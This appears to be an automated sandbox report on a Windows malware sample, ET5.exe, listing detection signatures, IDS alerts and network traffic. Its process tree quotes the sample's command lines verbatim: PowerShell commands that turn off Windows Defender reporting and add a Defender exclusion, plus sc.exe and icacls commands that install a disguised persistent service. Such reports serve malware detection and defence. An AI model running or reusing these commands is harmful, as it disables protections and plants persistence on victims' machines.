Edit tour

Windows Analysis Report
ET5.exe

Overview

General Information

Sample name:	ET5.exe
Analysis ID:	1570047
MD5:	98c7ec9eb9c760e176a78a01bcb9f91c
SHA1:	f88a8f1c1be4d07dafb27c65d36217eea4125020
SHA256:	e779e7c5dfba028f616eb4efc98523561e194c0cbb99192a9dab535f9d7936a4
Tags:	exeuser-aachum
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Contains functionality to hide user accounts

Found Tor onion address

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Modifies Windows Defender protection settings

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Sigma detected: Execution from Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious Program Location with Network Connections

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Connects to several IPs in different countries

Contains functionality to call native functions

Contains functionality to create new users

Contains functionality to dynamically determine API calls

Contains functionality to enumerate network shares

Contains functionality to enumerate running services

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

ET5.exe (PID: 7092 cmdline: "C:\Users\user\Desktop\ET5.exe" MD5: 98C7EC9EB9C760E176A78A01BCB9F91C)

ET5.exe (PID: 6300 cmdline: C:\Users\user\Desktop\ET5.exe MD5: 98C7EC9EB9C760E176A78A01BCB9F91C)

cmd.exe (PID: 4980 cmdline: "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6544 cmdline: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7060 cmdline: powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4676 cmdline: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'" MD5: 04029E121A0CFA5991749937DD22A1D9)

j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe (PID: 6128 cmdline: "C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe" MD5: 2F829F1CB631D234C54F2E6C6F72EB57)

taskkill.exe (PID: 5972 cmdline: taskkill.exe /F /FI "SERVICES eq RDP-Controller" MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 1436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3780 cmdline: sc.exe stop RDP-Controller MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6020 cmdline: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5880 cmdline: sc.exe failure RDP-Controller reset= 1 actions= restart/10000 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5136 cmdline: sc.exe start RDP-Controller MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 4816 cmdline: icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18 MD5: 48C87E3B3003A2413D6399EA77707F5D)

conhost.exe (PID: 5784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 7164 cmdline: icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl MD5: 48C87E3B3003A2413D6399EA77707F5D)

conhost.exe (PID: 6380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

hstmhco83f64lehv4q0wbzqj3o.exe (PID: 5760 cmdline: "C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe" MD5: 319865D78CC8DF6270E27521B8182BFF)

main.exe (PID: 1524 cmdline: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe MD5: BB070CFBD23A7BC6F2A0F8F6D167D207)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, CommandLine: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, NewProcessName: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, OriginalFileName: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, ProcessId: 1524, ProcessName: main.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", ProcessId: 6544, ProcessName: powershell.exe

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, ParentProcessId: 6128, ParentProcessName: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, ProcessCommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, ProcessId: 6020, ProcessName: sc.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 23.137.250.43, DestinationIsIpv6: false, DestinationPort: 24642, EventID: 3, Image: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, Initiated: true, ProcessId: 1524, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49868

Sigma detected: Powershell Defender Exclusion

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", ProcessId: 4676, ProcessName: powershell.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, ParentProcessId: 6128, ParentProcessName: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, ProcessCommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, ProcessId: 6020, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", ProcessId: 6544, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T14:21:23.373965+0100	2009208	1	A Network Trojan was detected	192.168.2.5	27080	65.191.158.5	22146	UDP
2024-12-06T14:21:56.324082+0100	2009208	1	A Network Trojan was detected	192.168.2.5	27080	135.181.195.240	30302	UDP
2024-12-06T14:22:36.588670+0100	2009208	1	A Network Trojan was detected	192.168.2.5	27080	2.178.163.167	30497	UDP
2024-12-06T14:23:25.963992+0100	2009208	1	A Network Trojan was detected	192.168.2.5	27080	120.155.52.253	16538	UDP
2024-12-06T14:23:37.027464+0100	2009208	1	A Network Trojan was detected	192.168.2.5	27080	45.61.165.224	15027	UDP

ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T14:21:23.373929+0100	2009205	1	A Network Trojan was detected	192.168.2.5	27080	72.221.27.46	19892	UDP
2024-12-06T14:22:09.417128+0100	2009205	1	A Network Trojan was detected	192.168.2.5	27080	73.195.118.76	23154	UDP
2024-12-06T14:23:02.682528+0100	2009205	1	A Network Trojan was detected	192.168.2.5	27080	45.8.159.106	17893	UDP
2024-12-06T14:23:09.715340+0100	2009205	1	A Network Trojan was detected	192.168.2.5	27080	5.187.75.159	65351	UDP

ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 4)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T14:21:20.215395+0100	2009206	1	A Network Trojan was detected	192.168.2.5	27080	62.113.245.76	18771	UDP
2024-12-06T14:21:57.323517+0100	2009206	1	A Network Trojan was detected	192.168.2.5	27080	118.178.193.220	11030	UDP
2024-12-06T14:22:35.589495+0100	2009206	1	A Network Trojan was detected	192.168.2.5	27080	174.2.11.191	17369	UDP
2024-12-06T14:23:21.838808+0100	2009206	1	A Network Trojan was detected	192.168.2.5	27080	101.184.38.180	14558	UDP

ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T14:21:15.965055+0100	2009207	1	A Network Trojan was detected	192.168.2.5	27080	122.18.238.134	11749	UDP
2024-12-06T14:21:49.325449+0100	2009207	1	A Network Trojan was detected	192.168.2.5	27080	89.117.55.228	16717	UDP
2024-12-06T14:22:27.577527+0100	2009207	1	A Network Trojan was detected	192.168.2.5	27080	23.137.250.43	24642	UDP
2024-12-06T14:23:04.733458+0100	2009207	1	A Network Trojan was detected	192.168.2.5	27080	101.184.38.180	14558	UDP
2024-12-06T14:23:19.840083+0100	2009207	1	A Network Trojan was detected	192.168.2.5	27080	102.130.123.16	23055	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://netdb.i2p2.no/	Avira URL Cloud: Label: malware
Source: https://reseed.i2pgit.org/	Avira URL Cloud: Label: malware
Source: https://reseed.diva.exchange/	Avira URL Cloud: Label: malware
Source: https://reseed2.i2p.net/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Avira: detection malicious, Label: TR/AVI.Agent.jibab

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

ReversingLabs: Detection: 66%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe

File created: C:\Users\user\AppData\Local\Temp\installer.log

Jump to behavior

Source:	Binary string: RfxVmt.pdb source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr
Source:	Binary string: RfxVmt.pdbGCTL source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B915387F NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,		22_2_00007FF8B915387F
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91538C3 LocalAlloc,wcsncpy,LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LookupAccountNameW,LocalFree,GetLastError,ConvertSidToStringSidA,GetLastError,wcslen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,		22_2_00007FF8B91538C3

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Code function: 11_2_00007FF704893DB3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	11_2_00007FF704893DB3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF708871CF3 FindNextFileA,_mbscpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF708871CF3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B9156233 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8B9156233
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B918B333 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8B918B333
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA504013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BA504013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFAB31F3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFAB31F3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB55013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB55013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB857B3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB857B3

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF70887737B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8B915A13B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8B9187DFB
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8BA50967B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8BFAB9BBB
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8BFB5A67B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 4x nop then lea r9, qword ptr [r8-01h]	22_2_00007FF8BFB8293B

Networking

Found Tor onion address

Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,ht
Source: main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: update.pkg.10.dr	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: gBXHuZY0.22.dr	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Source: hstmhco83f64lehv4q0wbzqj3o.exe.2.dr

Static PE information: Found NDIS imports: FwpmEngineClose0, FwpmEngineOpen0, FwpmFilterAdd0, FwpmFilterDeleteByKey0, FwpmFreeMemory0, FwpmProviderAdd0, FwpmProviderCreateEnumHandle0, FwpmProviderDestroyEnumHandle0, FwpmProviderEnum0

Source: unknown

Network traffic detected: IP country count 18

Source: global traffic	TCP traffic: 192.168.2.5:49704 -> 45.202.33.26:1128
Source: global traffic	TCP traffic: 192.168.2.5:49868 -> 23.137.250.43:24642
Source: global traffic	TCP traffic: 192.168.2.5:49869 -> 101.184.38.180:14558
Source: global traffic	TCP traffic: 192.168.2.5:49870 -> 66.130.28.102:9823
Source: global traffic	TCP traffic: 192.168.2.5:49871 -> 65.191.158.5:22146
Source: global traffic	TCP traffic: 192.168.2.5:49940 -> 154.216.20.137:41674
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 2.178.163.167:30497
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 178.208.86.162:17106
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 95.84.200.6:23537
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 62.113.245.76:18771
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 89.117.55.228:16717
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 5.187.75.159:65351
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 94.63.209.161:22635
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 195.252.220.165:49186
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 73.195.118.76:23154
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 45.8.159.106:17893
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 103.39.221.193:11262
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 122.18.238.134:11749
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 135.181.195.240:30302
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 118.178.193.220:11030
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 62.163.0.34:22955
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 209.126.85.115:14567
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 45.144.234.105:4567
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 45.61.165.224:15027
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 72.221.27.46:19892
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 146.70.87.105:25992
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 95.216.185.165:24092
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 102.130.123.16:23055
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 79.246.173.34:30090
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 45.141.101.45:3456
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 121.98.12.248:38371
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 174.2.11.191:17369
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 120.155.52.253:16538
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 139.129.17.126:9587
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 2.24.224.185:21701
Source: global traffic	UDP traffic: 192.168.2.5:27080 -> 130.185.251.21:18735

Source: Network traffic	Suricata IDS: 2009207 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5) : 192.168.2.5:27080 -> 122.18.238.134:11749
Source: Network traffic	Suricata IDS: 2009206 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 4) : 192.168.2.5:27080 -> 62.113.245.76:18771
Source: Network traffic	Suricata IDS: 2009205 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1) : 192.168.2.5:27080 -> 72.221.27.46:19892
Source: Network traffic	Suricata IDS: 2009208 - Severity 1 - ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16) : 192.168.2.5:27080 -> 65.191.158.5:22146
Source: Network traffic	Suricata IDS: 2009207 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5) : 192.168.2.5:27080 -> 89.117.55.228:16717
